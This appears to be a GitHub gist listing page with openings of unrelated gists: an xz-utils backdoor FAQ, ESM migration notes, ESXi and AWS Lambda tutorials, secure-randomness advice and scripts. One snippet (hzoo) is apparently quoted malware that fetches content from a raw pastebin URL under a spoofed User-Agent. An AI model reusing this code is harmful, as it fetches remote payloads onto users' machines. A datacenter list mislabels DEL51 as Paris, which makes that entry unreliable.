thesamesam

FAQ on the xz-utils backdoor (CVE-2024-3094)

This is a living document. Everything in this document is made in good faith of being accurate, but like I just said; we don't yet know everything about what's going on.

Update: I've disabled comments as of 2025-01-26 to avoid everyone having notifications for something a year on if someone wants to suggest a correction. Folks are free to email to suggest corrections still, of course.

Background

sindresorhus

Pure ESM package

The package that linked you here is now pure ESM. It cannot be require()'d from CommonJS.

This means you have the following choices:

1. Use ESM yourself. (preferred)
   Use import foo from 'foo' instead of const foo = require('foo') to import the package. You also need to put "type": "module" in your package.json and more. Follow the below guide.
2. If the package is used in an async context, you could use await import(…) from CommonJS instead of require(…).
3. Stay on the existing version of the package until you can move to ESM.

mhart

/bin/dash
/bin/dnsdomainname
/bin/domainname
/bin/dumpkeys
/bin/hostname
/bin/ipcalc
/bin/iptables-xml
/bin/kbd_mode
/bin/loadkeys
/bin/mountpoint

hzoo

try {
  var https = require("https");
  https
    .get(
      {
        hostname: "pastebin.com",
        path: "/raw/XLeVP82h",
        headers: {
          "User-Agent":
            "Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0",

redism

#!/bin/bash
if [ -f ~/Library/KeyBindings/DefaultkeyBinding.dict ]; then
	echo "~/Library/KeyBindings/DefaultkeyBinding.dict already exists"
	exit -1
fi

mkdir -p ~/Library/KeyBindings
cat << EOF > ~/Library/KeyBindings/DefaultkeyBinding.dict 
{
    "₩" = ("insertText:", "\`");

Hengjie

How to passthrough SATA drives directly on VMWare EXSI 6.5 as RDMs

There aren't many tutorials about this, the only tutorials I've found were about passing through entire PCIe cards to VMs, or refered to old ESXI versions (below 6.5) that used a more comprehensive desktop client instead of the web app. In v6.5, the web app was introduced and the desktop client was deprecated. You used to be able to setup RDMs in the desktop client, but with the introduction of the web console, this is no longer the case. This tutorial shows you how to pass SATA HDDs to the virtual machine on VMWare ESXI 6.5. This tutorial is partially based on VMWare's own KB and the now deprecated Forza IT blog post.

A word about VMWare ESXI 6.7

There is now an option while editing your VM's settings to add a New raw disk when you click `Add ha

joseph-zhong

To build OpenCV3.0 for AWS Lambda Python

Summary

Because AWS Lambda runs in a Amazon Linux environment, to run external modules you must

Create the OpenCV build environment

sudo yum update -y

joepie91

Not all random values are created equal - for security-related code, you need a specific kind of random value.

A summary of this article, if you don't want to read the entire thing:

• Don't use Math.random(). There are extremely few cases where Math.random() is the right answer. Don't use it, unless you've read this entire article, and determined that it's necessary for your case.
• Don't use crypto.getRandomBytes directly. While it's a CSPRNG, it's easy to bias the result when 'transforming' it, such that the output becomes more predictable.
• If you want to generate random tokens or API keys: Use uuid, specifically the uuid.v4() method. Avoid node-uuid - it's not the same package, and doesn't produce reliably secure random values.
• If you want to generate random numbers in a range: Use random-number-csprng.

You should seriously consider reading the entire article, though - it's

esquireofoz

AMS1 | Amsterdam, The Netherlands | Europe
AMS50 | Amsterdam, The Netherlands | Europe
ARN1 | Stockholm, Sweden | Europe
ATL50 | Atlanta, Georgia | United States
ATL52 | Atlanta, Georgia | United States
BOM2 | Mumbai, India | India
BOM51 | Mumbai, India | India
CDG3 | Paris, France | Europe
CDG50 | Paris, France | Europe
DEL51 | Paris, France | Europe

MrTrustor

#!/bin/bash

# Copyright 2017 Théo Chamley
# Permission is hereby granted, free of charge, to any person obtaining a copy of 
# this software and associated documentation files (the "Software"), to deal in the Software
# without restriction, including without limitation the rights to use, copy, modify, merge,
# publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons
# to whom the Software is furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in all copies or